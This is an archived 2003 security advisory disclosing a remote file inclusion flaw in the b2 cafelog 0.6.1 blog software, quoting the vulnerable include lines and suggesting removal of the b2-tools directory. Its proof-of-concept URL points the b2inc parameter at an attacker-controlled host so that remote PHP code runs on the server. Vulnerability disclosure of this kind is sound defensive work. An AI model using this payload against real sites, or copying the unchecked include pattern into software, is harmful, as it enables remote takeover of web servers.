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TUCoPS :: Web :: PHP :: bt308.txt

b2 cafelog 0.6.1 remote command execution.





Products: b2 cafelog 0.6.1 (http://cafelog.com/)
Date: 29 May 2003
Author: pokleyzz <pokleyzz_at_scan-associates.net>
Contributors: sk_at_scan-associates.net
                shaharil_at_scan-associates.net
                munir_at_scan-associates.net
URL: http://www.scan-associates.net

Summary:  b2 cafelog 0.6.1 remote command execution.

Description
===========
b2 cafelog is blogger system written in php with mysql ad database backend.

Details
=======
b2 cafelog 0.6.1 come with directory b2-tools.  This directory contain 2 
php scripts
(blogger-2-b2.php and gm-2-b2.php) which allow user to specify $b2inc and do
remote code injection.

from blogger-2-b2.php line 21 
-----------------------------------------------------
case "step1":

    include("b2config.php");
    include("$b2inc/b2functions.php");
    include("$b2inc/b2vars.php");
------------------------------------------------------------------------------------

from gm-2-b2.php line 5 
----------------------------------------------------------
// 3. load in the browser from there

include("b2config.php");
include($b2inc."/b2functions.php");
-----------------------------------------------------------------------------------

Proof of concept
===========
http://blabla.com/b2-tools/gm-2-b2.php?b2inc=http://attacker.com
attacker.com have file named b2functions.php with php script you want to
execute.

Workaround
=========
Remove b2-tools directory.

Vendor Response
===============
Vendor has been contacted on 19/05/2003 but to reply given.



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